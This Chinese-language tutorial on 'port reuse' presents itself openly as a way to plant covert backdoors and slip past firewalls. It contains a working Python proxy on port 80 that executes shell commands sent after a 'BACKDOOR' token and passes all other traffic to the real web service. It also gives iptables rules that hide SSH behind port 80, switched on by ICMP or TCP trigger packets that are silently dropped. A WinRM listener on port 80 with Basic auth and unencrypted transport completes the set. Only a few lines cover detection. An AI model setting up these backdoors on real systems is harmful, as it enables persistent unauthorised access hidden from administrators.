1. 端口复用简介
端口复用(Port Reuse)是指在同一台主机的同一个网络端口上同时提供多种服务或通道的技术。常规情况下,一个端口只能被一个服务监听,但通过特殊手段,我们可以让多个服务共享一个端口,或者根据特定条件将流量分流到不同的后台服务。这种技术在网络安全领域具有重要价值:
-
绕过防火墙:防火墙通常只开放少数常用端口(如80、443),通过复用这些端口,可以隐蔽地开放其他服务(如SSH、RDP)而不引起注意。
-
隐藏后门:攻击者可以在正常服务(如Web)的端口上植入后门,使后门流量混杂在正常流量中,增加隐蔽性。
-
资源节约:对于资源受限的设备,端口复用可以减少监听的端口数量。
2. 使用Python实现简单的端口复用
2.1 原理
Python通过socket编程可以实现一个中间代理程序:监听在目标端口(如80),接收客户端连接后,根据数据特征(如特定HTTP头、魔数)决定是交给本地正常服务(如Nginx)处理,还是启动一个后门Shell。这里我们以一个简单的复用HTTP端口为例:如果客户端发送的数据以"BACKDOOR"开头,则执行系统命令并返回结果;否则将数据转发给本地的真实Web服务。
2.2 代码实现
import socket
import threading
import subprocess
import sys
# 本地正常Web服务地址(假设运行在8080端口)
TARGET_HOST = '127.0.0.1'
TARGET_PORT = 8080
# 复用端口
LISTEN_PORT = 80
# 后门触发特征
BACKDOOR_TOKEN = b"BACKDOOR"
def handle_client(client_sock):
# 接收客户端数据
data = client_sock.recv(1024)
if not data:
client_sock.close()
return
# 判断是否为后门请求
if data.startswith(BACKDOOR_TOKEN):
# 后门模式:执行命令
try:
# 提取命令部分(假设格式:BACKDOOR cmd)
cmd = data[len(BACKDOOR_TOKEN):].strip().decode('utf-8', errors='ignore')
if not cmd:
cmd = 'whoami'
# 执行命令
result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
client_sock.send(result)
except Exception as e:
client_sock.send(str(e).encode())
client_sock.close()
else:
# 正常转发:连接到本地Web服务
try:
target_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target_sock.connect((TARGET_HOST, TARGET_PORT))
target_sock.send(data) # 发送初始数据
# 双向转发
threading.Thread(target=forward, args=(client_sock, target_sock)).start()
threading.Thread(target=forward, args=(target_sock, client_sock)).start()
except Exception as e:
client_sock.close()
def forward(src, dst):
while True:
try:
data = src.recv(4096)
if not data:
break
dst.send(data)
except:
break
src.close()
dst.close()
def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', LISTEN_PORT))
server.listen(5)
print(f"[*] Listening on port {LISTEN_PORT}")
while True:
client, addr = server.accept()
print(f"[+] Connection from {addr}")
threading.Thread(target=handle_client, args=(client,)).start()
if __name__ == "__main__":
main()
2.3 测试
-
在本地启动一个Web服务,例如
python3 -m http.server 8080。 -
以root权限运行上述Python脚本(绑定80端口需要root)。
-
正常访问
http://127.0.0.1会看到原Web服务内容。 -
使用nc发送后门指令:
echo -e "BACKDOOR whoami" | nc 127.0.0.1 80,将返回当前用户。
这种方法虽然简单,但存在性能瓶颈,且容易被检测。接下来我们看更底层的iptables实现。
3. Linux iptables端口复用实战
iptables是Linux强大的防火墙工具,利用其NAT功能可以实现端口重定向,将特定条件的流量从公共端口转发到隐藏服务的端口。这里我们以复用80端口提供隐藏SSH服务为例,介绍四种方案。
3.1 基础环境
假设目标服务器运行着正常的Web服务(监听80端口),同时SSH服务监听22端口。我们希望:当满足特定条件时,访问80端口的流量被重定向到22端口,从而获得SSH访问;否则正常访问Web。
所有iptables规则均需在nat表的PREROUTING链中设置,因为PREROUTING在路由决策之前处理入站流量。
3.2 方案一:根据源地址做端口复用
场景:只允许特定IP(如192.168.1.100)通过80端口访问SSH。
iptables -t nat -A PREROUTING -p tcp --dport 80 -s 192.168.1.100 -j REDIRECT --to-port 22
-
-t nat:指定操作NAT表。 -
-A PREROUTING:添加到PREROUTING链。 -
-p tcp --dport 80:匹配TCP协议目标端口80。 -
-s 192.168.1.100:源IP为指定地址。 -
-j REDIRECT --to-port 22:将数据包重定向到本地的22端口。
此规则对源IP为192.168.1.100的80端口访问生效,其他IP访问80端口不受影响。测试时,从192.168.1.100使用SSH客户端连接目标IP的80端口即可获得SSH服务(注意SSH客户端需指定端口80:ssh user@target -p 80)。
3.3 方案二:根据源地址+源端口做端口复用
场景:仅允许特定IP的特定源端口(如1234)的流量触发复用,增加隐蔽性。
iptables -t nat -A PREROUTING -p tcp --dport 80 -s 192.168.1.100 --sport 1234 -j REDIRECT --to-port 22
--sport 1234:匹配源端口为1234。
使用时,攻击者需从192.168.1.100的1234端口发起连接,可以用nc -p 1234 target 80模拟,或者修改SSH客户端强制源端口(通常不可行),实际中可通过iptables的SNAT或使用socat等工具将本地连接源端口改为1234。
3.4 方案三:利用ICMP协议做遥控开关
原理 :通过发送特定的ICMP包(如ping包)来动态开启/关闭端口复用规则,使得后门仅在需要时短暂打开,更难被发现。这里使用iptables的recent模块记录源IP,当收到特定ICMP包后,将该源IP加入"白名单",然后针对这些IP应用端口复用规则;再发送另一个ICMP包可将其移除。
实现步骤:
-
创建自定义链(便于管理):
iptables -t nat -N PORT_REUSE iptables -t nat -A PREROUTING -p tcp --dport 80 -j PORT_REUSE -
定义ICMP触发规则(假设ICMP类型为8(Echo请求),且数据部分包含密码"open"):
# 匹配ICMP echo请求,且负载包含"open",将源IP加入recent列表"openlist" iptables -A INPUT -p icmp --icmp-type 8 -m string --string "open" --algo bm -m recent --name openlist --set -j DROP # 匹配ICMP echo请求,且负载包含"close",从recent列表移除 iptables -A INPUT -p icmp --icmp-type 8 -m string --string "close" --algo bm -m recent --name openlist --remove -j DROP -
在PORT_REUSE链中判断源IP是否在openlist中:
iptables -t nat -A PORT_REUSE -m recent --name openlist --rcheck -j REDIRECT --to-port 22如果源IP在openlist中,则重定向到22端口;否则无操作(返回主链,正常访问80)。
使用:
-
开启后门:
ping -c 1 -p "open" target_ip(需要root或特定权限发送自定义数据,可用hping3等工具)。 -
关闭后门:
ping -c 1 -p "close" target_ip。 -
随后从该IP访问目标80端口即进入SSH。
注意 :上述规则中使用了-j DROP丢弃ICMP包,避免响应,增加隐蔽性。若需要更精细控制,可以设置--rcheck的时间参数(如--seconds 60)使记录过期。
3.5 方案四:利用TCP协议做遥控开关
原理 :类似ICMP开关,但使用TCP包触发,例如发送一个带有特定标志位或负载的SYN包来开启复用。这里以TCP的SYN包且负载包含"open"为例(需要iptables的string模块支持TCP负载匹配,注意SYN包通常没有负载,但可以通过构造特殊TCP选项实现,这里简化演示使用负载匹配,实际可能需要其他方法)。
实现:
-
创建自定义链(同上):
iptables -t nat -N PORT_REUSE iptables -t nat -A PREROUTING -p tcp --dport 80 -j PORT_REUSE -
定义TCP触发规则(匹配TCP SYN包且负载包含"open",记录源IP):
iptables -A INPUT -p tcp --tcp-flags SYN SYN --dport 80 -m string --string "open" --algo bm -m recent --name tcplist --set -j DROP iptables -A INPUT -p tcp --tcp-flags SYN SYN --dport 80 -m string --string "close" --algo bm -m recent --name tcplist --remove -j DROP -
在PORT_REUSE链中判断:
iptables -t nat -A PORT_REUSE -m recent --name tcplist --rcheck -j REDIRECT --to-port 22
使用 :使用类似nping或scapy构造带负载的TCP SYN包发送到目标80端口,即可加入白名单。
优缺点:TCP开关比ICMP更隐蔽,因为TCP流量更容易混入正常通信中,但配置相对复杂,且SYN包带负载可能被一些中间设备拦截。
4. Windows WinRM端口复用打造隐蔽后门
Windows远程管理(WinRM)是Windows内置的远程管理服务,基于HTTP/HTTPS协议,默认监听5985(HTTP)和5986(HTTPS)。WinRM利用Windows HTTP.sys驱动,该驱动支持端口共享(port sharing),允许不同应用程序在同一端口上监听,只要它们使用相同的IP和端口绑定,且通过URL预留(URL reservation)机制区分请求。IIS和WinRM都能基于HTTP.sys工作,因此我们可以让WinRM复用80端口,与IIS或其它Web服务共存,形成一个隐蔽的后门。
4.1 WinRM端口复用原理
-
HTTP.sys:Windows内核模式驱动,负责HTTP请求的监听和分发。它允许不同应用程序通过注册URL前缀来共享同一端口。
-
WinRM监听器 :WinRM通过HTTP.sys注册特定的URL前缀(如
http://*:80/wsman/),当请求到达该URL时,HTTP.sys将其转发给WinRM服务。因此,如果IIS也注册了其他URL(如http://*:80/的默认站点),两者可以共存,互不干扰。 -
后门价值:将WinRM监听器设置在80端口,攻击者可以通过HTTP/80端口远程执行PowerShell命令,而流量混在Web流量中,非常隐蔽。
4.2 配置WinRM复用80端口
前提:管理员权限,且目标Windows机器已启用WinRM服务(默认禁用,需先开启)。若80端口已被IIS占用,无需停止IIS,两者可共存。
步骤1:启用并配置WinRM基本设置
# 以管理员身份运行PowerShell
# 启用WinRM服务并设置自动启动
Enable-PSRemoting -Force
# 查看当前监听器
winrm enumerate winrm/config/Listener
默认情况下,WinRM会监听5985端口(如果未配置)。我们需要添加一个新的监听器绑定到80端口。
步骤2:新增80端口监听器
# 创建HTTP监听器,绑定所有IP的80端口
winrm create winrm/config/Listener?Address=*+Transport=HTTP '@{Port="80"}'
如果80端口未被其他服务占用,此命令会成功。如果已被IIS占用,HTTP.sys允许多个服务共享端口,但需要注意URL前缀冲突。WinRM默认注册的地址是http://*:80/wsman/,IIS默认注册http://*:80/(捕获所有未明确指定的请求),两者可以共存。但IIS可能劫持对/wsman的请求,需要确保IIS没有对/wsman路径的处理程序。通常没有问题,因为/wsman是WinRM的保留路径。
如果希望更稳妥,可以修改IIS的默认站点绑定,或使用不同IP地址绑定。
步骤3:配置WinRM认证和加密(可选,根据需要)
为了能够远程连接,需要启用基本认证或协商认证,并可能允许非加密传输(生产环境慎用)。
# 启用基本认证
winrm set winrm/config/service/auth '@{Basic="true"}'
# 允许非加密传输(仅当必须通过HTTP时才启用)
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
注意:如果使用HTTPS(443端口)会更安全,但需要证书,这里我们专注于HTTP的80端口。
步骤4:防火墙放行80端口
确保Windows防火墙允许入站TCP 80端口:
New-NetFirewallRule -DisplayName "WinRM-HTTP-80" -Direction Inbound -LocalPort 80 -Protocol TCP -Action Allow
4.3 远程连接WinRM后门
连接WinRM有多种方式:
使用PowerShell远程会话(PSSession)
# 从攻击机执行(需预先设置TrustedHosts,或使用HTTPS)
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "target_ip" -Force
# 建立会话
Enter-PSSession -ComputerName target_ip -Port 80 -Credential (Get-Credential)
输入用户名和密码后即可获得交互式PowerShell。
使用winrs命令
winrs -r:http://target_ip:80 -u:username -p:password ipconfig
使用Python脚本(pywinrm)
import winrm
session = winrm.Session('http://target_ip:80', auth=('username','password'))
result = session.run_cmd('ipconfig')
print(result.std_out)
4.4 隐藏与检测
-
隐藏 :将WinRM监听器放在80端口,流量与HTTP混合,难以区分。管理员检查监听端口时,
netstat -an会显示80端口被System进程(HTTP.sys)监听,而非显式的WinRM进程,增加了排查难度。 -
检测 :检查WinRM监听器配置:
winrm enumerate winrm/config/Listener;查看HTTP.sys的URL预留:netsh http show urlacl;监控异常进程连接。
5. 总结
本文介绍了端口复用的多种实现技术:
-
Python脚本:灵活但性能较低,适合快速实验。
-
iptables方案:基于内核态转发,效率高且隐蔽,四种方案覆盖了静态IP过滤和动态遥控开关,其中遥控开关(ICMP/TCP)能有效躲避持续扫描。
-
WinRM后门:利用Windows HTTP.sys特性,将管理服务复用常用Web端口,实现隐蔽远程控制。